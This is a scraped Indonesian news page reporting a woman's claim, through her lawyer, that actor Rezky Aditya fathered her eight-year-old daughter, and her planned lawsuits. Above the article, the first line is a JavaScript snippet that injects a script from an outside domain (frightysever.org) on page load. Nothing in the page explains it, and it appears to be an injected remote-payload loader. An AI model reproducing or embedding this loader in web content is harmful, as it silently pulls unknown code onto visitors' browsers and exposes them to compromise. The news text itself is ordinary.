(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sebuah pengakuan mengejutkan hadir dari perempuan berinisial W. Melalui kuasa hukumnya, W, mengatakan memiliki anak dari aktor Rezky Aditya.
Pengacara W, menceritakan kronologis hubungan Rezky Aditya dan W pada sembilan tahun lalu. Keduanya memang tidak menikah dan hanya berstatus sebagai pasangan kekasih.
“Pertemuan mereka itu kurang lebih sekira 2012. Kemudian 2013 itu, lahirlah anak mereka,” kata pengacara W, Ferry Aswan dikutip dari kanal YouTube Trans 7 Lifestyle, Sabtu (19/6/2021).
Namun saat Rezky Aditya mengalami kecelakaan, lawan main Nikita Willy di sinetron “Putri yang Ditukar” itu perlahan menjauh. Sampai akhirnya tak lagi terjadi komunikasi di antara mereka.
Baca Juga:
Polsek Gambut Gelar Patroli PPKM Mikro di Lokasi Rawan Gangguan Kamtibmas
“Setelah ada kejadian Rezky kecelakaan, dari situ mulai, dia tidak ada kontak dengan klien saya,” jelasnya.
Perempuan berinisial W itu lantas mengurus anak yang diakuinya sebagai darah daging Rezky Aditya sendirian. Kini, sang buah hati yang berjenis kelamin perempuan itu telah menginjak usia delapan tahun.
Saat ditanya mengapa baru sekarang sosok W mengungkap cerita ini, pengacaranya mengatakan, kliennya hanya menuntut hak dari suami Citra Kirana ini.
“Namanya naluri ibu, dia punya anak, dia juga ingin kejelasan terhadap status anak. Karena dia anaknya perempuan, anak ini harus tahu bapaknya siapa,” jelas Ferry Aswan.
Upaya untuk melakukan komunikasi kepada Rezky Aditya telah dilakukan. Dimulai dari menginformasikan soal permintaan kliennya, hingga somasi.
Baca Juga:
Kalsel Jadi Incaran Sindikat Internasional Narkoba, BNN Banjarbaru: Anak Muda Paling Rentan!
“Saya klarifikasi dulu, tanggapannya kurang begitu baik. Saya somasi, sudah bertemu dengan pihak Rezky, sudah bicara, tapi masih belum ketemu titik temu,” ucapnya.
Maka dengan tidak adanya kejelasan ini, pihak kuasa hukum W tak segan membawa masalah ini ke jalur hukum.
“Rencananya, ada dua gugatan, pertama saya mau menggugat di Pengadilan Agama untuk masalah pengakuan anak dan nafkah. Kedua, rencananya, saya ada gugatan perbuatan melawan hukum,” tegas Ferry Aswan. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.